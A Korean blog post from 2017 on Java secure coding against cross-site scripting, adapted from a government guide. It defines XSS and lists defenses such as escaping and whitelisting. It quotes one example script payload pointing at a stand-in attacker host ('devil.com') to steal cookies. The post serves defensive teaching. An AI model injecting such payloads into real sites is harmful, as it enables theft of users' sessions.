[시큐어코딩-자바] 크로스 사이트 스크립트 (입력 데이터 검증 및 표현)

류명운

·

2017. 1. 31. 21:08

반응형

[시큐어코딩-자바] 크로스 사이트 스크립트 (입력 데이터 검증 및 표현)


입력 데이터 검증 및 표현이란?

  프로그램 입력 값에 대한 검증 누락 또는 부적절한 검증, 데이터의 잘못된 형식지정, 일관되지 않은 언어셋 사용 등으로 인해 발생되는 보안약점으로 SQL 삽입, 크로스사이트 스크립트(XSS) 등의 공격을 유발할 수 있다.


크로스 사이트 스크립트(Improper Neutralization of Input During Web Page Generation, Cross-site Scripting)


1. 정의

  웹 페이지에 악의적인 스크립트를 포함시켜 사용자 측에서 실행되게 유도할 수 있다. 예를 들어, 다음 <그림 1>과 같이 검증되지 않은 외부 입력이 동적 웹페이지 생성에 사용될 경우, 전송된 동적 웹페이지를 열람하는 접속자의 권한으로 부적절한 스크립트가 수행되어 정보유출 등의 공격을 유발할 수 있다.

<그림 1> 크로스 사이트 스크립트


2. 안전한 코딩기법

  • 일반적인 경우에는 사용자가 문자열에 스크립트를 삽입하여 실행하는 것을 막기 위해 사용자가 입력한 문자열에서 <, >, &, "," 등을 replace 등의 문자 변환 함수나 메소드를 사용하여 &lt, &rgt, &amp, &quot로 지환한다.

  • HTML 태그를 허용하는 게시판에서는 게시판에서 지원하는 HTML 태그의 리스트(White List)를 선정한 후, 해당 태그만 허용하는 방식을 적용한다.

  • 보안성이 검증되어 있는 API를 사용하여 위험한 문자열을 제거하여야 한다.


3. 예제

  • 다음의 <코드 1>은 안전하지 않은 코드의 예로 외부 입력을 name 값으로, 특별한 처리과정 없이 결과 페이지 생성에 사용하고 있다. 만약 악의적인 공격자가 name 값에 다음의 스크립트를 넣으면, 희생자의 권한으로 attack.jsp 코드가 수행되게 되며, 수행하게 되면 희생자의 쿠키정보 유출 등의 피해를 주게 된다.

<script>url = "http://devil.com/attack.jsp;</script>

<코드 1> 안전하지 않은 코드의 예

  • 다음의 <코드 2>는 안전한 코드의 예로 외부 입력 문자열에서 replaceAll() 메소드를 사용하여 <와 >같이 HTML에서 스크립트 생성에 사용되는 모든 문자열을 &lt; &gt; &amp; &quot;; 같은 형태로 변경함으로써 악의적인 스크립트 수행의 위험성을 줄일 수 있다. 그러나 이러한 방법이 위험성을 완전히 제거했음을 의미하지는 않는다.

<코드 2> 안전한 코드의 예

  • 다음의 <코드 3>은 안전하지 않은 코드의 예로 외부 입력으로 사원ID 값을 받아 사원의 이름을 얻어내는 예이다. 이 예제에서는 사원ID 값을 별도의 검증 없이 사원DB를 조회에 사용하고 있다.

<코드 3> 안전하지 않은 코드의 예

  • 다음의 <코드 4>는 안전한 코드의 예로 앞서 <코드 3>에서 처럼 외부 입력으로 사원 ID 값을 받아 사원의 이름을 얻어내는 예인데, OSWASP에서 제공하는 보안 API를 사용하고 있다. 이 보안 API를 사용하면 특수 문자를 이용한 공격 스크립트와 같은 외부 입력 문자열을 이용한 공격을 효과적으로 차단할 수 있다. ESAPI는 OWASP홈페이지(https://wwww.owasp.org/in-dex.php/Esapi)에서 제공되며 J2EE, Javascript와 같은 다수의 플랫폼에 대해 개별적으로 라이브러리를 지원하고 있다.

<코드 4> 안전한 코드의 예

  • 다음의 <코드 5>는 안전한 코드의 예로 http://josephoconnell.com/java/xss-html-filter/에서 제공하는 XSS Filter를 이용한 입력값 필터링 예제이다. 제공되는 코드를 이용하여 주어진 사이트의 상황에 맞는 코드로 변형시켜 사용할 수 있다. 코드를 살펴보면 HTMLInputFilter().filter 메소드를 이용해 문자열을 필터링하고 있는 것을 확인할 수 있다.

<코드 5> 안전한 코드의 예


참고 문헌

[1] 전자정부 SW 개발ㆍ운영자를 위한 Java 시큐어코딩 가이드, 행정안전부, 11-1311000-000330-10, 2012-09 - http://www.moi.go.kr

[2CWE-79 Improper Neutralization of Input During Web Page Generation(Cross-site Scripting), http://cwe.mitre.org/data/definitions/79.html

[3] 2010 OWASP Top 10 - A2 Cross-Site Scripting(XSS), https://www.owasp.org/index.php/Top_10_2010-A2

[4] 2011 SANS Top 25 - RANK 4 (CWE-79), http://cwe.mitre.org/top25/



반응형